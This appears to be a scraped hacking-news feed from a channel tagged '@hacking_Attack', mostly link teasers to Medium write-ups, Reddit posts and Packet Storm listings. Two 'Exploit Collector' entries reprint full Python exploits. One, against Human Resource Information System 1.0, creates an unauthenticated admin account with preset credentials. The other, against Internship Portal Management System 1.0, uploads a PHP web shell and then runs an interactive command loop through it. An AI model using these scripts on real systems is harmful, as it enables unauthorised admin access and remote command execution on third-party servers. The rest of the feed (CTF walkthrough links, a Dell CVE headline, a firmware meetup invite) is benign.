Hacking on Medium
IDOR — Entendendo o que é na pratica + Exploração manual e automatizada + Dicas de Bug Bounty +…

https://cdn-images-1.medium.com/max/1000/0*6bwQQRhA10Oeh1ls
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: Blue

https://cdn-images-1.medium.com/max/600/0*iw8MsgQx1DfmO-C-.png
An educational series on Windows exploitation for complete beginners. A walkthrough.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
SQLi-Labs Basic Challenge Walkthrough

https://cdn-images-1.medium.com/max/1129/1*przBQ2sg9ODNvjckJ148IA.png
SQLi-Labs

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

What the fuzz?! — The truth behind content discovery

Content discovery is an art. Let’s find out how to create this magic!Continue reading on Medium »
Read more...

Exploit Collector
Human Resource Information System 1.0 Authentication Bypass / Account Creation

https://3.bp.blogspot.com/-w74A7gxi0bY/WWlvD06cX8I/AAAAAAAAIK4/fcu0jWNFLhIrvrv6B2He7QdGvtDQ7X4rQCLcBGAs/s1600/h131.png
Human Resource Information System version 1.0 suffers from an unauthenticated administrative account creation vulnerability.

MD5 | 41eb1d3fba6ea3d4ddbbc36358daf7ad

Download
# Exploit Title: Human Resource Information System 1.0 - Create Admin Account (Unauthenticated)
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/14714/human-resource-information-using-phpmysqliobject-orientedcomplete-free-sourcecode.html
# Version:1.0
# Tested on: windows 10 (build 19041) + xampp v3.2.4

#!/usr/bin/python3
import requests

BASEURL="http://localhost/HRI/" #Change Base url to target path
ADDURL="/Superadmin_Dashboard/process/addhradmin_process.php"
s = requests.Session()

print("\nHuman Resource Information System - Create Admin Account (Unauthenticated)")
print("Created On: 04/05/2021\nAuthor: Richard Jones\n")

print("[-] Checking Host")
r = s.get(BASEURL+ADDURL)
if not r.status_code == 200:
print("[!] Host Error, Check URL...")
exit(0)

print("[+] Creating Admin account")
data = {
"hr_companyid":"6544",
"hr_firstname":"admin",
"hr_lastname":"admin",
"hr_middlename":"admin",
"hr_contactno":"05555551231",
"hr_type":"HR Head",
"hr_email":"a@a.com",
"hr_password":"admin4",
"hr_admin":""
}

r = s.post(BASEURL+ADDURL, data=data)
if 'Insert Successfully!!!' in r.text:
print("[+] Account Created!")
print("[+] Login Credentials Created:\n a@a.com:admin4\n\n")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Shenzhen Skyworth RN510 Cross Site Request Forgery / Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Shenzhen Skyworth RN510 Information Disclosure

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Shenzhen Skyworth RN510 Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Internship Portal Management System 1.0 Shell Upload

https://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png
Internship Portal Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 0e64d22b012cb716290ae978805da036

Download
# Exploit Title: Internship Portal Management System 1.0 - Remote Code Execution Via File Upload (Unauthenticated)
# Date: 2021-05-04
# Exploit Author: argenestel
# Vendor Homepage: https://www.sourcecodester.com/php/11712/internship-portal-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11712&title=Internship+Portal+Management+System+using+PHP+with+Source+Code
# Version: 1.0
# Tested on: Debian 10

import requests
import time

#change the url to the site running the vulnerable system
url="http://127.0.0.1:4000"
#burp proxy
proxies = {
"http": "http://127.0.0.1:8080",
}
#payload
payload=''

#the upload point
insert_url=url+"/inserty.php"

def fill_details():
global payload
global shellend
global shellstart
print("Online Intern System 1.0 Exploit: Unauth RCE via File Upload")
#time start
shellstart=int(time.time())
#print(shellstart)
files = {'file':('shell.php',payload,
'image/png', {'Content-Disposition': 'form-data'}
)
}
data = {
"company_name":"some",
"first_name":"some",
"last_name":"some",
"email":"some@some.com",
"gender":"Male",
"insert_button":"Apply",
"terms":"on"
}
r = requests.post(insert_url, data=data, files=files)
if r.status_code == 200:
print("Exploited Intern System Successfully...")
shellend = int(time.time())
#print(shellend)
shell()
else:
print("Exploit Failed")

def shell():
for shellname in range(shellstart, shellend+1):
shellstr=str(shellname)
shell_url=url+"/upload/"+shellstr+"_shell.php"
r = requests.get(shell_url)
if r.status_code == 200:
shell_url=url+"/upload/"+shellstr+"_shell.php"
break

r = requests.get(shell_url)
if r.status_code == 200:
print("Shell Starting...")
while True:
cmd=input("cmd$ ")
r = requests.get(shell_url+"?cmd="+cmd)
print(r.text)
else:
print("File Name Error")
fill_details()


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
GravCMS 1.10.7 Remote Command Execution

___________________________
@hacking_Attack
@Hacking_Video

Injecting Punycode URL Within the Arbitrary Text via Comment Box In Google Photo Sharing Option

Definition:Continue reading on InfoSec Write-ups »
Read more...

hacking: security in practice
CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws

https://external-preview.redd.it/MdtKvrHgFUVUfh9pGQDVcw_MorvLB5kMuJsMYhiSlzA.jpg?width=640&crop=smart&auto=webp&s=38a11f993cc91564e8c218a61276ccadfd1cd2a3 submitted by /u/GHIDRAdev
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
[Events] "vBeer v2" online Party! - 7 May at 3PM UTC

Dear friends, on behalf of 3mdeb I invite you to a fresh "vBeer v2"! Let's discuss the open/libre firmware/hardware and other nice embedded things you have in mind. To join us, go to http://vpub.3mdeb.com/may7th on 7th May at 3PM UTC

at "v1" there was a great discussion with 50 firmware masters from all over the world! Here's my blogpost about it. And this time - together with your surprise suggestions (you're welcome!) - we could explore:

* new advances at opensource firmware/hardware world, like this new initiative for opensource FPGAs
* is the new emerging RISC-V hardware such as BeagleV - truly open?
* results of "Ideal platform for coreboot training" survey (which is still going on btw)

- and much more! There'd be a productive talk with a cosy atmosphere and good vibes - so, feel invited and take your beer! ;) http://vpub.3mdeb.com/may7th , 7th May at 3PM UTC

submitted by /u/Mike-Banon1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video